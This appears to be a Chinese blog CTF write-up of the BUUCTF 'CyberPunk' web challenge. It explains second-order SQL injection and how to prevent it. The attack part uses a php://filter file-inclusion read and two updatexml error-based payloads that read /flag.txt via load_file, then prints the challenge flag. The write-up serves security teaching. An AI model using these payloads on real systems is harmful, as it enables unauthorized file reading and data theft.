BUUCTF Web CyberPunk WriteUp

在这里插入图片描述

想直接查看payload的点这里

前言

二次注入(Second-Order Injection)是指攻击者在应用程序中注入恶意数据,然后在稍后的操作或不同的上下文中再次使用该恶意数据,导致安全漏洞。它通常发生在数据库查询、数据导出、报告生成等过程中。

典型的二次注入示例包括在用户注册时注入恶意代码,然后在管理员操作中触发执行,或者在数据库操作中注入恶意代码。为防止二次注入,应采取综合的安全措施,包括输入验证、参数化查询、代码审计和安全编码实践。

对于SQL注入问题,使用参数化查询或预编译语句,并对用户输入进行严格验证和过滤,可防止恶意SQL代码注入。对于二次注入,还需考虑应用程序的整体逻辑和数据流程,确保数据在后续处理中也得到适当处理和过滤,以防再次执行恶意代码。


正文

查看源码,发现提示,有可能存在文件包含

在这里插入图片描述

还在源码看到存在index.php,change.php,comfirm.php,delete.php,search.php这些文件

可以用php伪协议fenbie依次读取这些文件:

?file=php://filter/convert.base64-encode/resource=index.php

php://filter/convert.base64-encode/resource=index.php 是一个针对 PHP 文件的路径表达式,它使用了 php://filter 伪协议和 convert.base64-encode 过滤器。

它的含义是将目录下的 index.php 文件内容以 Base64 编码的形式读取。

在这里插入图片描述

查看index.php代码可以发现,提交订单的数据要通过confirm.php校验,其中没有校验address地址值。

在这里插入图片描述

再查看change.php代码可以发现,修改订单时只用addslashes函数对address函数进行了转义。

在这里插入图片描述

再看change.php中最关键一行sql语句:

$sql = "update `user` set 
	`address`='".$address."', `old_address`='".$row['address']."
	' where `user_id`=".$row['user_id'];

它把在index.php中提交的旧地址(old_address)重新保存到数据库里。

所以可以在index.php提交订单的时候,在地址里输入sql注入语句,然后在change.php中修改订单时当时的sql注入语句被执行,这就是二次注入。
这里使用报错注入,然后因为updatexml最多一次显示32个字符,所以用两个payload分开读取flag。

payload:
1'and updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30)),0x7e),1)#
1'and updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,30)),0x7e),1)#

提交订单:

在这里插入图片描述

修改订单成功读取到flag:

在这里插入图片描述

同理再提交订单修改订单获取后半段的flag:
在这里插入图片描述

flag{5cd7240e-e619-4ddf-8bfc-7300b3e1841d}

提交flag

在这里插入图片描述
相关文章:
MySQL 文件读写
探索php://filter在实战当中的奇技淫巧
updatexml mysql_深入浅出带你玩转sqlilabs

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值